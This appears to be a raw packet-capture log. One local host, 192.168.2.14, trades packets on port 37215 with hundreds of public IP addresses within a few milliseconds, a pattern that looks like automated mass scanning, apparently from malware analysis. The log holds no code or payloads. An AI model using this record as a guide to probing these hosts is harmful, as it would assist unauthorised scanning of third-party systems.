Oct 8, 2024 20:34:43.988349915 CEST	48169	37215	192.168.2.14	156.136.228.139
Oct 8, 2024 20:34:43.988364935 CEST	48169	37215	192.168.2.14	197.120.159.78
Oct 8, 2024 20:34:43.988364935 CEST	48169	37215	192.168.2.14	197.75.45.209
Oct 8, 2024 20:34:43.988498926 CEST	37215	48169	197.53.135.75	192.168.2.14
Oct 8, 2024 20:34:43.988509893 CEST	37215	48169	41.66.89.207	192.168.2.14
Oct 8, 2024 20:34:43.988518953 CEST	37215	48169	197.146.79.42	192.168.2.14
Oct 8, 2024 20:34:43.988543034 CEST	48169	37215	192.168.2.14	197.53.135.75
Oct 8, 2024 20:34:43.988543034 CEST	48169	37215	192.168.2.14	41.66.89.207
Oct 8, 2024 20:34:43.988550901 CEST	48169	37215	192.168.2.14	197.146.79.42
Oct 8, 2024 20:34:43.988634109 CEST	37215	48169	41.196.1.126	192.168.2.14
Oct 8, 2024 20:34:43.988643885 CEST	37215	48169	156.74.149.151	192.168.2.14
Oct 8, 2024 20:34:43.988653898 CEST	37215	48169	156.244.34.40	192.168.2.14
Oct 8, 2024 20:34:43.988665104 CEST	37215	48169	197.100.85.188	192.168.2.14
Oct 8, 2024 20:34:43.988667965 CEST	48169	37215	192.168.2.14	41.196.1.126
Oct 8, 2024 20:34:43.988676071 CEST	37215	48169	197.242.35.187	192.168.2.14
Oct 8, 2024 20:34:43.988682985 CEST	48169	37215	192.168.2.14	156.74.149.151
Oct 8, 2024 20:34:43.988687038 CEST	37215	48169	41.103.212.117	192.168.2.14
Oct 8, 2024 20:34:43.988698006 CEST	37215	48169	197.67.121.133	192.168.2.14
Oct 8, 2024 20:34:43.988707066 CEST	37215	48169	41.200.79.242	192.168.2.14
Oct 8, 2024 20:34:43.988717079 CEST	37215	48169	197.103.175.106	192.168.2.14
Oct 8, 2024 20:34:43.988722086 CEST	48169	37215	192.168.2.14	197.100.85.188
Oct 8, 2024 20:34:43.988723040 CEST	48169	37215	192.168.2.14	197.67.121.133
Oct 8, 2024 20:34:43.988722086 CEST	48169	37215	192.168.2.14	41.103.212.117
Oct 8, 2024 20:34:43.988739967 CEST	48169	37215	192.168.2.14	41.200.79.242
Oct 8, 2024 20:34:43.988742113 CEST	48169	37215	192.168.2.14	197.103.175.106
Oct 8, 2024 20:34:43.988790989 CEST	37215	48169	197.139.250.29	192.168.2.14
Oct 8, 2024 20:34:43.988801003 CEST	37215	48169	156.112.111.237	192.168.2.14
Oct 8, 2024 20:34:43.988810062 CEST	37215	48169	156.224.97.47	192.168.2.14
Oct 8, 2024 20:34:43.988825083 CEST	48169	37215	192.168.2.14	197.139.250.29
Oct 8, 2024 20:34:43.988826990 CEST	48169	37215	192.168.2.14	156.112.111.237
Oct 8, 2024 20:34:43.988842964 CEST	48169	37215	192.168.2.14	156.224.97.47
Oct 8, 2024 20:34:43.988944054 CEST	37215	48169	197.114.205.104	192.168.2.14
Oct 8, 2024 20:34:43.988955021 CEST	37215	48169	41.171.155.222	192.168.2.14
Oct 8, 2024 20:34:43.988965034 CEST	37215	48169	156.212.37.239	192.168.2.14
Oct 8, 2024 20:34:43.988976002 CEST	37215	48169	156.252.34.119	192.168.2.14
Oct 8, 2024 20:34:43.988990068 CEST	37215	48169	41.170.240.154	192.168.2.14
Oct 8, 2024 20:34:43.988991976 CEST	48169	37215	192.168.2.14	156.212.37.239
Oct 8, 2024 20:34:43.988992929 CEST	48169	37215	192.168.2.14	41.171.155.222
Oct 8, 2024 20:34:43.989000082 CEST	37215	48169	41.62.139.88	192.168.2.14
Oct 8, 2024 20:34:43.989006996 CEST	48169	37215	192.168.2.14	156.252.34.119
Oct 8, 2024 20:34:43.989012003 CEST	37215	48169	41.71.213.174	192.168.2.14
Oct 8, 2024 20:34:43.989023924 CEST	37215	48169	41.240.69.60	192.168.2.14
Oct 8, 2024 20:34:43.989033937 CEST	37215	48169	197.47.170.78	192.168.2.14
Oct 8, 2024 20:34:43.989046097 CEST	37215	48169	197.205.151.131	192.168.2.14
Oct 8, 2024 20:34:43.989052057 CEST	48169	37215	192.168.2.14	41.62.139.88
Oct 8, 2024 20:34:43.989057064 CEST	37215	48169	197.240.239.215	192.168.2.14
Oct 8, 2024 20:34:43.989057064 CEST	48169	37215	192.168.2.14	41.240.69.60
Oct 8, 2024 20:34:43.989062071 CEST	48169	37215	192.168.2.14	41.71.213.174
Oct 8, 2024 20:34:43.989068031 CEST	37215	48169	41.228.100.124	192.168.2.14
Oct 8, 2024 20:34:43.989070892 CEST	48169	37215	192.168.2.14	197.47.170.78
Oct 8, 2024 20:34:43.989084005 CEST	48169	37215	192.168.2.14	197.205.151.131
Oct 8, 2024 20:34:43.989134073 CEST	48169	37215	192.168.2.14	156.244.34.40
Oct 8, 2024 20:34:43.989134073 CEST	48169	37215	192.168.2.14	197.242.35.187
Oct 8, 2024 20:34:43.989145041 CEST	48169	37215	192.168.2.14	197.114.205.104
Oct 8, 2024 20:34:43.989155054 CEST	48169	37215	192.168.2.14	197.240.239.215
Oct 8, 2024 20:34:43.989165068 CEST	48169	37215	192.168.2.14	41.170.240.154
Oct 8, 2024 20:34:43.989170074 CEST	48169	37215	192.168.2.14	41.228.100.124
Oct 8, 2024 20:34:43.989269972 CEST	37215	48169	156.139.56.40	192.168.2.14
Oct 8, 2024 20:34:43.989280939 CEST	37215	48169	156.127.1.25	192.168.2.14
Oct 8, 2024 20:34:43.989294052 CEST	37215	48169	41.225.209.41	192.168.2.14
Oct 8, 2024 20:34:43.989303112 CEST	37215	48169	156.242.157.164	192.168.2.14
Oct 8, 2024 20:34:43.989310026 CEST	48169	37215	192.168.2.14	156.139.56.40
Oct 8, 2024 20:34:43.989314079 CEST	37215	48169	197.94.55.209	192.168.2.14
Oct 8, 2024 20:34:43.989325047 CEST	37215	48169	197.5.175.128	192.168.2.14
Oct 8, 2024 20:34:43.989331007 CEST	48169	37215	192.168.2.14	41.225.209.41
Oct 8, 2024 20:34:43.989336014 CEST	37215	48169	156.9.173.187	192.168.2.14
Oct 8, 2024 20:34:43.989340067 CEST	48169	37215	192.168.2.14	156.127.1.25
Oct 8, 2024 20:34:43.989346981 CEST	37215	48169	197.200.82.162	192.168.2.14
Oct 8, 2024 20:34:43.989356995 CEST	37215	48169	197.247.144.107	192.168.2.14
Oct 8, 2024 20:34:43.989363909 CEST	48169	37215	192.168.2.14	156.242.157.164
Oct 8, 2024 20:34:43.989363909 CEST	48169	37215	192.168.2.14	197.94.55.209
Oct 8, 2024 20:34:43.989363909 CEST	48169	37215	192.168.2.14	197.5.175.128
Oct 8, 2024 20:34:43.989368916 CEST	48169	37215	192.168.2.14	156.9.173.187
Oct 8, 2024 20:34:43.989368916 CEST	48169	37215	192.168.2.14	197.200.82.162
Oct 8, 2024 20:34:43.989384890 CEST	48169	37215	192.168.2.14	197.247.144.107
Oct 8, 2024 20:34:43.989501953 CEST	37215	48169	156.8.55.141	192.168.2.14
Oct 8, 2024 20:34:43.989511967 CEST	37215	48169	156.171.60.191	192.168.2.14
Oct 8, 2024 20:34:43.989521027 CEST	37215	48169	156.43.132.129	192.168.2.14
Oct 8, 2024 20:34:43.989531994 CEST	37215	48169	41.61.90.18	192.168.2.14
Oct 8, 2024 20:34:43.989532948 CEST	48169	37215	192.168.2.14	156.8.55.141
Oct 8, 2024 20:34:43.989542007 CEST	48169	37215	192.168.2.14	156.171.60.191
Oct 8, 2024 20:34:43.989542961 CEST	37215	48169	41.126.15.131	192.168.2.14
Oct 8, 2024 20:34:43.989547014 CEST	48169	37215	192.168.2.14	156.43.132.129
Oct 8, 2024 20:34:43.989552975 CEST	37215	48169	41.98.76.2	192.168.2.14
Oct 8, 2024 20:34:43.989562988 CEST	37215	48169	197.153.188.64	192.168.2.14
Oct 8, 2024 20:34:43.989569902 CEST	48169	37215	192.168.2.14	41.126.15.131
Oct 8, 2024 20:34:43.989573956 CEST	37215	48169	41.102.203.253	192.168.2.14
Oct 8, 2024 20:34:43.989583969 CEST	37215	48169	41.33.42.250	192.168.2.14
Oct 8, 2024 20:34:43.989588976 CEST	48169	37215	192.168.2.14	41.98.76.2
Oct 8, 2024 20:34:43.989588976 CEST	48169	37215	192.168.2.14	197.153.188.64
Oct 8, 2024 20:34:43.989593983 CEST	37215	48169	156.210.51.216	192.168.2.14
Oct 8, 2024 20:34:43.989602089 CEST	48169	37215	192.168.2.14	41.102.203.253
Oct 8, 2024 20:34:43.989603996 CEST	37215	48169	41.237.78.220	192.168.2.14
Oct 8, 2024 20:34:43.989617109 CEST	37215	48169	197.221.227.11	192.168.2.14
Oct 8, 2024 20:34:43.989625931 CEST	37215	48169	197.94.191.86	192.168.2.14
Oct 8, 2024 20:34:43.989636898 CEST	37215	48169	41.121.20.163	192.168.2.14
Oct 8, 2024 20:34:43.989641905 CEST	48169	37215	192.168.2.14	156.210.51.216
Oct 8, 2024 20:34:43.989649057 CEST	37215	48169	41.50.101.100	192.168.2.14
Oct 8, 2024 20:34:43.989651918 CEST	48169	37215	192.168.2.14	197.221.227.11
Oct 8, 2024 20:34:43.989659071 CEST	37215	48169	197.138.131.243	192.168.2.14
Oct 8, 2024 20:34:43.989665985 CEST	48169	37215	192.168.2.14	197.94.191.86
Oct 8, 2024 20:34:43.989671946 CEST	48169	37215	192.168.2.14	41.121.20.163
Oct 8, 2024 20:34:43.989672899 CEST	37215	48169	197.183.193.206	192.168.2.14
Oct 8, 2024 20:34:43.989676952 CEST	48169	37215	192.168.2.14	41.33.42.250
Oct 8, 2024 20:34:43.989677906 CEST	48169	37215	192.168.2.14	41.50.101.100
Oct 8, 2024 20:34:43.989685059 CEST	37215	48169	156.211.117.106	192.168.2.14
Oct 8, 2024 20:34:43.989689112 CEST	48169	37215	192.168.2.14	197.138.131.243
Oct 8, 2024 20:34:43.989696026 CEST	37215	48169	156.33.3.166	192.168.2.14
Oct 8, 2024 20:34:43.989706039 CEST	48169	37215	192.168.2.14	41.237.78.220
Oct 8, 2024 20:34:43.989706993 CEST	37215	48169	41.49.156.70	192.168.2.14
Oct 8, 2024 20:34:43.989707947 CEST	48169	37215	192.168.2.14	41.61.90.18
Oct 8, 2024 20:34:43.989718914 CEST	37215	48169	156.133.98.88	192.168.2.14
Oct 8, 2024 20:34:43.989725113 CEST	48169	37215	192.168.2.14	197.183.193.206
Oct 8, 2024 20:34:43.989729881 CEST	37215	48169	156.192.248.123	192.168.2.14
Oct 8, 2024 20:34:43.989731073 CEST	48169	37215	192.168.2.14	156.211.117.106
Oct 8, 2024 20:34:43.989758015 CEST	48169	37215	192.168.2.14	41.49.156.70
Oct 8, 2024 20:34:43.989761114 CEST	48169	37215	192.168.2.14	156.192.248.123
Oct 8, 2024 20:34:43.989788055 CEST	48169	37215	192.168.2.14	156.33.3.166
Oct 8, 2024 20:34:43.989799976 CEST	37215	48169	41.202.0.65	192.168.2.14
Oct 8, 2024 20:34:43.989810944 CEST	37215	48169	41.47.159.130	192.168.2.14
Oct 8, 2024 20:34:43.989820957 CEST	37215	48169	41.7.7.103	192.168.2.14
Oct 8, 2024 20:34:43.989829063 CEST	48169	37215	192.168.2.14	156.133.98.88
Oct 8, 2024 20:34:43.989830017 CEST	48169	37215	192.168.2.14	41.202.0.65
Oct 8, 2024 20:34:43.989831924 CEST	37215	48169	41.125.245.240	192.168.2.14
Oct 8, 2024 20:34:43.989842892 CEST	37215	48169	197.90.138.159	192.168.2.14
Oct 8, 2024 20:34:43.989850044 CEST	48169	37215	192.168.2.14	41.7.7.103
Oct 8, 2024 20:34:43.989852905 CEST	37215	48169	156.196.97.204	192.168.2.14
Oct 8, 2024 20:34:43.989862919 CEST	48169	37215	192.168.2.14	41.125.245.240
Oct 8, 2024 20:34:43.989864111 CEST	37215	48169	197.56.8.149	192.168.2.14
Oct 8, 2024 20:34:43.989871979 CEST	48169	37215	192.168.2.14	197.90.138.159
Oct 8, 2024 20:34:43.989876986 CEST	48169	37215	192.168.2.14	41.47.159.130
Oct 8, 2024 20:34:43.989876986 CEST	48169	37215	192.168.2.14	156.196.97.204
Oct 8, 2024 20:34:43.989913940 CEST	48169	37215	192.168.2.14	197.56.8.149
Oct 8, 2024 20:34:43.989969969 CEST	37215	48169	156.151.29.185	192.168.2.14
Oct 8, 2024 20:34:43.989980936 CEST	37215	48169	156.68.138.126	192.168.2.14
Oct 8, 2024 20:34:43.989990950 CEST	37215	48169	156.13.36.43	192.168.2.14
Oct 8, 2024 20:34:43.990000010 CEST	37215	48169	41.39.101.230	192.168.2.14
Oct 8, 2024 20:34:43.990005970 CEST	48169	37215	192.168.2.14	156.68.138.126
Oct 8, 2024 20:34:43.990010023 CEST	37215	48169	41.32.197.61	192.168.2.14
Oct 8, 2024 20:34:43.990015984 CEST	37215	48169	156.130.3.215	192.168.2.14
Oct 8, 2024 20:34:43.990017891 CEST	48169	37215	192.168.2.14	156.151.29.185
Oct 8, 2024 20:34:43.990020990 CEST	48169	37215	192.168.2.14	156.13.36.43
Oct 8, 2024 20:34:43.990030050 CEST	37215	48169	156.235.39.57	192.168.2.14
Oct 8, 2024 20:34:43.990034103 CEST	48169	37215	192.168.2.14	41.32.197.61
Oct 8, 2024 20:34:43.990078926 CEST	48169	37215	192.168.2.14	156.130.3.215
Oct 8, 2024 20:34:43.990078926 CEST	48169	37215	192.168.2.14	156.235.39.57
Oct 8, 2024 20:34:43.990300894 CEST	37215	48169	41.115.234.247	192.168.2.14
Oct 8, 2024 20:34:43.990310907 CEST	37215	48169	41.176.3.251	192.168.2.14
Oct 8, 2024 20:34:43.990320921 CEST	37215	48169	156.97.3.108	192.168.2.14
Oct 8, 2024 20:34:43.990331888 CEST	37215	48169	41.147.107.132	192.168.2.14
Oct 8, 2024 20:34:43.990341902 CEST	37215	48169	197.90.154.72	192.168.2.14
Oct 8, 2024 20:34:43.990353107 CEST	37215	48169	156.215.146.232	192.168.2.14
Oct 8, 2024 20:34:43.990362883 CEST	37215	48169	156.24.184.74	192.168.2.14
Oct 8, 2024 20:34:43.990371943 CEST	37215	48169	41.119.100.224	192.168.2.14
Oct 8, 2024 20:34:43.990372896 CEST	48169	37215	192.168.2.14	41.115.234.247
Oct 8, 2024 20:34:43.990375996 CEST	48169	37215	192.168.2.14	41.147.107.132
Oct 8, 2024 20:34:43.990377903 CEST	48169	37215	192.168.2.14	156.97.3.108
Oct 8, 2024 20:34:43.990382910 CEST	37215	48169	41.90.124.245	192.168.2.14
Oct 8, 2024 20:34:43.990386963 CEST	48169	37215	192.168.2.14	197.90.154.72
Oct 8, 2024 20:34:43.990386963 CEST	48169	37215	192.168.2.14	156.215.146.232
Oct 8, 2024 20:34:43.990391970 CEST	48169	37215	192.168.2.14	156.24.184.74
Oct 8, 2024 20:34:43.990391970 CEST	48169	37215	192.168.2.14	41.119.100.224
Oct 8, 2024 20:34:43.990392923 CEST	37215	48169	156.9.1.62	192.168.2.14
Oct 8, 2024 20:34:43.990398884 CEST	48169	37215	192.168.2.14	41.176.3.251
Oct 8, 2024 20:34:43.990402937 CEST	48169	37215	192.168.2.14	41.39.101.230
Oct 8, 2024 20:34:43.990405083 CEST	37215	48169	156.74.174.9	192.168.2.14
Oct 8, 2024 20:34:43.990416050 CEST	37215	48169	41.185.187.78	192.168.2.14
Oct 8, 2024 20:34:43.990417004 CEST	48169	37215	192.168.2.14	41.90.124.245
Oct 8, 2024 20:34:43.990425110 CEST	37215	48169	41.240.112.173	192.168.2.14
Oct 8, 2024 20:34:43.990434885 CEST	37215	48169	197.118.22.201	192.168.2.14
Oct 8, 2024 20:34:43.990478992 CEST	48169	37215	192.168.2.14	41.240.112.173
Oct 8, 2024 20:34:43.990480900 CEST	48169	37215	192.168.2.14	197.118.22.201
Oct 8, 2024 20:34:43.990550995 CEST	48169	37215	192.168.2.14	41.185.187.78
Oct 8, 2024 20:34:43.990633965 CEST	48169	37215	192.168.2.14	156.9.1.62
Oct 8, 2024 20:34:43.990638018 CEST	48169	37215	192.168.2.14	156.74.174.9
Oct 8, 2024 20:34:43.990664959 CEST	37215	48169	156.15.115.61	192.168.2.14
Oct 8, 2024 20:34:43.990677118 CEST	37215	48169	156.144.221.185	192.168.2.14
Oct 8, 2024 20:34:43.990686893 CEST	37215	48169	156.211.13.119	192.168.2.14
Oct 8, 2024 20:34:43.990705967 CEST	48169	37215	192.168.2.14	156.15.115.61
Oct 8, 2024 20:34:43.990720034 CEST	48169	37215	192.168.2.14	156.144.221.185
Oct 8, 2024 20:34:43.990720034 CEST	48169	37215	192.168.2.14	156.211.13.119
Oct 8, 2024 20:34:43.990747929 CEST	37215	48169	197.236.37.193	192.168.2.14
Oct 8, 2024 20:34:43.990761995 CEST	37215	48169	197.193.4.205	192.168.2.14
Oct 8, 2024 20:34:43.990773916 CEST	37215	48169	197.59.58.68	192.168.2.14
Oct 8, 2024 20:34:43.990783930 CEST	37215	48169	156.161.166.180	192.168.2.14
Oct 8, 2024 20:34:43.990784883 CEST	48169	37215	192.168.2.14	197.236.37.193
Oct 8, 2024 20:34:43.990796089 CEST	37215	48169	41.60.137.219	192.168.2.14
Oct 8, 2024 20:34:43.990807056 CEST	37215	48169	156.135.60.48	192.168.2.14
Oct 8, 2024 20:34:43.990817070 CEST	37215	48169	156.42.99.212	192.168.2.14
Oct 8, 2024 20:34:43.990816116 CEST	48169	37215	192.168.2.14	156.161.166.180
Oct 8, 2024 20:34:43.990828037 CEST	37215	48169	41.81.245.124	192.168.2.14
Oct 8, 2024 20:34:43.990828037 CEST	48169	37215	192.168.2.14	197.193.4.205
Oct 8, 2024 20:34:43.990828037 CEST	48169	37215	192.168.2.14	197.59.58.68
Oct 8, 2024 20:34:43.990839958 CEST	37215	48169	197.242.150.234	192.168.2.14
Oct 8, 2024 20:34:43.990850925 CEST	37215	48169	41.127.183.31	192.168.2.14
Oct 8, 2024 20:34:43.990861893 CEST	37215	48169	197.98.15.6	192.168.2.14
Oct 8, 2024 20:34:43.990870953 CEST	37215	48169	41.240.220.129	192.168.2.14
Oct 8, 2024 20:34:43.990874052 CEST	48169	37215	192.168.2.14	156.135.60.48
Oct 8, 2024 20:34:43.990880013 CEST	48169	37215	192.168.2.14	156.42.99.212
Oct 8, 2024 20:34:43.990880013 CEST	48169	37215	192.168.2.14	41.81.245.124
Oct 8, 2024 20:34:43.990884066 CEST	48169	37215	192.168.2.14	41.127.183.31
Oct 8, 2024 20:34:43.990888119 CEST	48169	37215	192.168.2.14	41.60.137.219
Oct 8, 2024 20:34:43.990888119 CEST	48169	37215	192.168.2.14	197.242.150.234
Oct 8, 2024 20:34:43.990915060 CEST	48169	37215	192.168.2.14	41.240.220.129
Oct 8, 2024 20:34:43.990935087 CEST	48169	37215	192.168.2.14	197.98.15.6
Oct 8, 2024 20:34:43.991046906 CEST	37215	48169	156.209.95.181	192.168.2.14
Oct 8, 2024 20:34:43.991058111 CEST	37215	48169	41.231.9.54	192.168.2.14
Oct 8, 2024 20:34:43.991067886 CEST	37215	48169	156.40.104.148	192.168.2.14
Oct 8, 2024 20:34:43.991094112 CEST	48169	37215	192.168.2.14	41.231.9.54
Oct 8, 2024 20:34:43.991101980 CEST	48169	37215	192.168.2.14	156.40.104.148
Oct 8, 2024 20:34:43.991244078 CEST	48169	37215	192.168.2.14	156.209.95.181
Oct 8, 2024 20:34:43.991539955 CEST	37215	48169	41.222.138.105	192.168.2.14
Oct 8, 2024 20:34:43.991550922 CEST	37215	48169	156.252.148.55	192.168.2.14
Oct 8, 2024 20:34:43.991561890 CEST	37215	48169	197.117.78.21	192.168.2.14
Oct 8, 2024 20:34:43.991571903 CEST	37215	48169	41.246.192.50	192.168.2.14
Oct 8, 2024 20:34:43.991579056 CEST	48169	37215	192.168.2.14	41.222.138.105
Oct 8, 2024 20:34:43.991583109 CEST	37215	48169	41.65.180.158	192.168.2.14
Oct 8, 2024 20:34:43.991594076 CEST	37215	48169	197.17.119.210	192.168.2.14
Oct 8, 2024 20:34:43.991602898 CEST	48169	37215	192.168.2.14	156.252.148.55
Oct 8, 2024 20:34:43.991605997 CEST	37215	48169	156.5.34.251	192.168.2.14
Oct 8, 2024 20:34:43.991609097 CEST	48169	37215	192.168.2.14	41.246.192.50
Oct 8, 2024 20:34:43.991609097 CEST	48169	37215	192.168.2.14	41.65.180.158
Oct 8, 2024 20:34:43.991611958 CEST	48169	37215	192.168.2.14	197.117.78.21
Oct 8, 2024 20:34:43.991617918 CEST	37215	48169	41.31.141.250	192.168.2.14
Oct 8, 2024 20:34:43.991626978 CEST	48169	37215	192.168.2.14	197.17.119.210
Oct 8, 2024 20:34:43.991630077 CEST	37215	48169	41.103.121.35	192.168.2.14
Oct 8, 2024 20:34:43.991637945 CEST	48169	37215	192.168.2.14	156.5.34.251
Oct 8, 2024 20:34:43.991641045 CEST	37215	48169	197.237.78.137	192.168.2.14
Oct 8, 2024 20:34:43.991657972 CEST	48169	37215	192.168.2.14	41.103.121.35
Oct 8, 2024 20:34:43.991657972 CEST	48169	37215	192.168.2.14	41.31.141.250
Oct 8, 2024 20:34:43.991672039 CEST	48169	37215	192.168.2.14	197.237.78.137
Oct 8, 2024 20:34:43.991717100 CEST	37215	48169	41.170.38.108	192.168.2.14
Oct 8, 2024 20:34:43.991766930 CEST	37215	48169	156.124.112.196	192.168.2.14
Oct 8, 2024 20:34:43.991776943 CEST	37215	48169	197.78.178.68	192.168.2.14
Oct 8, 2024 20:34:43.991781950 CEST	37215	48169	156.48.218.124	192.168.2.14
Oct 8, 2024 20:34:43.991791964 CEST	37215	48169	197.200.248.209	192.168.2.14
Oct 8, 2024 20:34:43.991794109 CEST	48169	37215	192.168.2.14	41.170.38.108
Oct 8, 2024 20:34:43.991796970 CEST	37215	48169	156.21.110.130	192.168.2.14
Oct 8, 2024 20:34:43.991807938 CEST	37215	48169	41.11.98.189	192.168.2.14
Oct 8, 2024 20:34:43.991811037 CEST	48169	37215	192.168.2.14	197.78.178.68
Oct 8, 2024 20:34:43.991818905 CEST	37215	48169	156.227.235.113	192.168.2.14
Oct 8, 2024 20:34:43.991838932 CEST	37215	48169	156.15.255.64	192.168.2.14
Oct 8, 2024 20:34:43.991856098 CEST	48169	37215	192.168.2.14	156.124.112.196
Oct 8, 2024 20:34:43.991858959 CEST	48169	37215	192.168.2.14	156.227.235.113
Oct 8, 2024 20:34:43.991863966 CEST	48169	37215	192.168.2.14	197.200.248.209
Oct 8, 2024 20:34:43.991863966 CEST	48169	37215	192.168.2.14	156.21.110.130
Oct 8, 2024 20:34:43.991863966 CEST	48169	37215	192.168.2.14	156.48.218.124
Oct 8, 2024 20:34:43.991863966 CEST	48169	37215	192.168.2.14	41.11.98.189
Oct 8, 2024 20:34:43.991873980 CEST	48169	37215	192.168.2.14	156.15.255.64
Oct 8, 2024 20:34:43.992156982 CEST	37215	48169	197.3.1.37	192.168.2.14
Oct 8, 2024 20:34:43.992167950 CEST	37215	48169	41.136.4.0	192.168.2.14
Oct 8, 2024 20:34:43.992198944 CEST	48169	37215	192.168.2.14	197.3.1.37
Oct 8, 2024 20:34:43.992198944 CEST	48169	37215	192.168.2.14	41.136.4.0
Oct 8, 2024 20:34:43.992301941 CEST	37215	48169	197.71.89.68	192.168.2.14
Oct 8, 2024 20:34:43.992312908 CEST	37215	48169	156.112.43.171	192.168.2.14
Oct 8, 2024 20:34:43.992322922 CEST	37215	48169	197.153.237.169	192.168.2.14
Oct 8, 2024 20:34:43.992352962 CEST	48169	37215	192.168.2.14	197.71.89.68
Oct 8, 2024 20:34:43.992355108 CEST	48169	37215	192.168.2.14	197.153.237.169
Oct 8, 2024 20:34:43.992355108 CEST	48169	37215	192.168.2.14	156.112.43.171
Oct 8, 2024 20:34:43.992424965 CEST	37215	48169	41.55.5.219	192.168.2.14
Oct 8, 2024 20:34:43.992435932 CEST	37215	48169	156.228.8.25	192.168.2.14
Oct 8, 2024 20:34:43.992444992 CEST	37215	48169	41.82.216.35	192.168.2.14
Oct 8, 2024 20:34:43.992455006 CEST	37215	48169	156.222.230.128	192.168.2.14
Oct 8, 2024 20:34:43.992465019 CEST	37215	48169	197.233.110.195	192.168.2.14
Oct 8, 2024 20:34:43.992465973 CEST	48169	37215	192.168.2.14	41.55.5.219
Oct 8, 2024 20:34:43.992474079 CEST	37215	48169	41.161.155.85	192.168.2.14
Oct 8, 2024 20:34:43.992484093 CEST	37215	48169	41.254.189.110	192.168.2.14
Oct 8, 2024 20:34:43.992486954 CEST	48169	37215	192.168.2.14	41.82.216.35
Oct 8, 2024 20:34:43.992486954 CEST	48169	37215	192.168.2.14	156.222.230.128
Oct 8, 2024 20:34:43.992487907 CEST	37215	48169	41.249.65.237	192.168.2.14
Oct 8, 2024 20:34:43.992492914 CEST	48169	37215	192.168.2.14	156.228.8.25
Oct 8, 2024 20:34:43.992500067 CEST	37215	48169	197.61.130.134	192.168.2.14
Oct 8, 2024 20:34:43.992516994 CEST	48169	37215	192.168.2.14	197.233.110.195
Oct 8, 2024 20:34:43.992518902 CEST	37215	48169	156.23.150.150	192.168.2.14
Oct 8, 2024 20:34:43.992522001 CEST	48169	37215	192.168.2.14	41.161.155.85
Oct 8, 2024 20:34:43.992522001 CEST	48169	37215	192.168.2.14	41.249.65.237
Oct 8, 2024 20:34:43.992530107 CEST	37215	48169	41.206.39.39	192.168.2.14
Oct 8, 2024 20:34:43.992537975 CEST	48169	37215	192.168.2.14	197.61.130.134
Oct 8, 2024 20:34:43.992542982 CEST	37215	48169	41.141.199.197	192.168.2.14
Oct 8, 2024 20:34:43.992547035 CEST	48169	37215	192.168.2.14	41.254.189.110
Oct 8, 2024 20:34:43.992552996 CEST	37215	48169	156.37.142.153	192.168.2.14
Oct 8, 2024 20:34:43.992556095 CEST	48169	37215	192.168.2.14	156.23.150.150
Oct 8, 2024 20:34:43.992558002 CEST	48169	37215	192.168.2.14	41.206.39.39
Oct 8, 2024 20:34:43.992563963 CEST	37215	48169	41.90.202.228	192.168.2.14
Oct 8, 2024 20:34:43.992569923 CEST	48169	37215	192.168.2.14	41.141.199.197
Oct 8, 2024 20:34:43.992575884 CEST	37215	48169	156.121.39.131	192.168.2.14
Oct 8, 2024 20:34:43.992584944 CEST	37215	48169	156.226.176.193	192.168.2.14
Oct 8, 2024 20:34:43.992588043 CEST	48169	37215	192.168.2.14	156.37.142.153
Oct 8, 2024 20:34:43.992588043 CEST	48169	37215	192.168.2.14	41.90.202.228
Oct 8, 2024 20:34:43.992594957 CEST	37215	48169	41.125.157.173	192.168.2.14
Oct 8, 2024 20:34:43.992604971 CEST	37215	48169	197.61.144.116	192.168.2.14
Oct 8, 2024 20:34:43.992614031 CEST	37215	48169	156.152.77.121	192.168.2.14
Oct 8, 2024 20:34:43.992619038 CEST	37215	48169	197.249.177.156	192.168.2.14
Oct 8, 2024 20:34:43.992619991 CEST	48169	37215	192.168.2.14	156.121.39.131
Oct 8, 2024 20:34:43.992628098 CEST	37215	48169	156.195.31.249	192.168.2.14
Oct 8, 2024 20:34:43.992638111 CEST	37215	48169	41.219.28.192	192.168.2.14
Oct 8, 2024 20:34:43.992657900 CEST	48169	37215	192.168.2.14	156.226.176.193
Oct 8, 2024 20:34:43.992666006 CEST	48169	37215	192.168.2.14	197.249.177.156
Oct 8, 2024 20:34:43.992669106 CEST	48169	37215	192.168.2.14	156.195.31.249
Oct 8, 2024 20:34:43.992671013 CEST	48169	37215	192.168.2.14	41.125.157.173
Oct 8, 2024 20:34:43.992676020 CEST	48169	37215	192.168.2.14	156.152.77.121
Oct 8, 2024 20:34:43.992676020 CEST	48169	37215	192.168.2.14	41.219.28.192
Oct 8, 2024 20:34:43.992708921 CEST	48169	37215	192.168.2.14	197.61.144.116
Oct 8, 2024 20:34:43.992814064 CEST	37215	48169	197.56.81.246	192.168.2.14
Oct 8, 2024 20:34:43.992825031 CEST	37215	48169	41.153.156.173	192.168.2.14
Oct 8, 2024 20:34:43.992835045 CEST	37215	48169	41.36.204.167	192.168.2.14
Oct 8, 2024 20:34:43.992846012 CEST	37215	48169	156.18.63.169	192.168.2.14
Oct 8, 2024 20:34:43.992855072 CEST	48169	37215	192.168.2.14	197.56.81.246
Oct 8, 2024 20:34:43.992858887 CEST	37215	48169	197.66.164.230	192.168.2.14
Oct 8, 2024 20:34:43.992860079 CEST	48169	37215	192.168.2.14	41.153.156.173
Oct 8, 2024 20:34:43.992865086 CEST	48169	37215	192.168.2.14	41.36.204.167
Oct 8, 2024 20:34:43.992868900 CEST	37215	48169	41.246.146.195	192.168.2.14
Oct 8, 2024 20:34:43.992880106 CEST	37215	48169	41.182.33.184	192.168.2.14
Oct 8, 2024 20:34:43.992880106 CEST	48169	37215	192.168.2.14	156.18.63.169
Oct 8, 2024 20:34:43.992889881 CEST	37215	48169	41.6.109.98	192.168.2.14
Oct 8, 2024 20:34:43.992892981 CEST	48169	37215	192.168.2.14	197.66.164.230
Oct 8, 2024 20:34:43.992899895 CEST	37215	48169	197.154.30.221	192.168.2.14
Oct 8, 2024 20:34:43.992911100 CEST	37215	48169	41.55.38.133	192.168.2.14
Oct 8, 2024 20:34:43.992919922 CEST	37215	48169	41.27.29.84	192.168.2.14
Oct 8, 2024 20:34:43.992929935 CEST	37215	48169	197.80.42.133	192.168.2.14
Oct 8, 2024 20:34:43.992937088 CEST	48169	37215	192.168.2.14	41.6.109.98
Oct 8, 2024 20:34:43.992937088 CEST	48169	37215	192.168.2.14	197.154.30.221
Oct 8, 2024 20:34:43.992940903 CEST	37215	48169	197.81.192.206	192.168.2.14
Oct 8, 2024 20:34:43.992950916 CEST	37215	48169	197.219.252.244	192.168.2.14
Oct 8, 2024 20:34:43.992959976 CEST	37215	48169	156.152.2.56	192.168.2.14
Oct 8, 2024 20:34:43.992963076 CEST	48169	37215	192.168.2.14	41.55.38.133
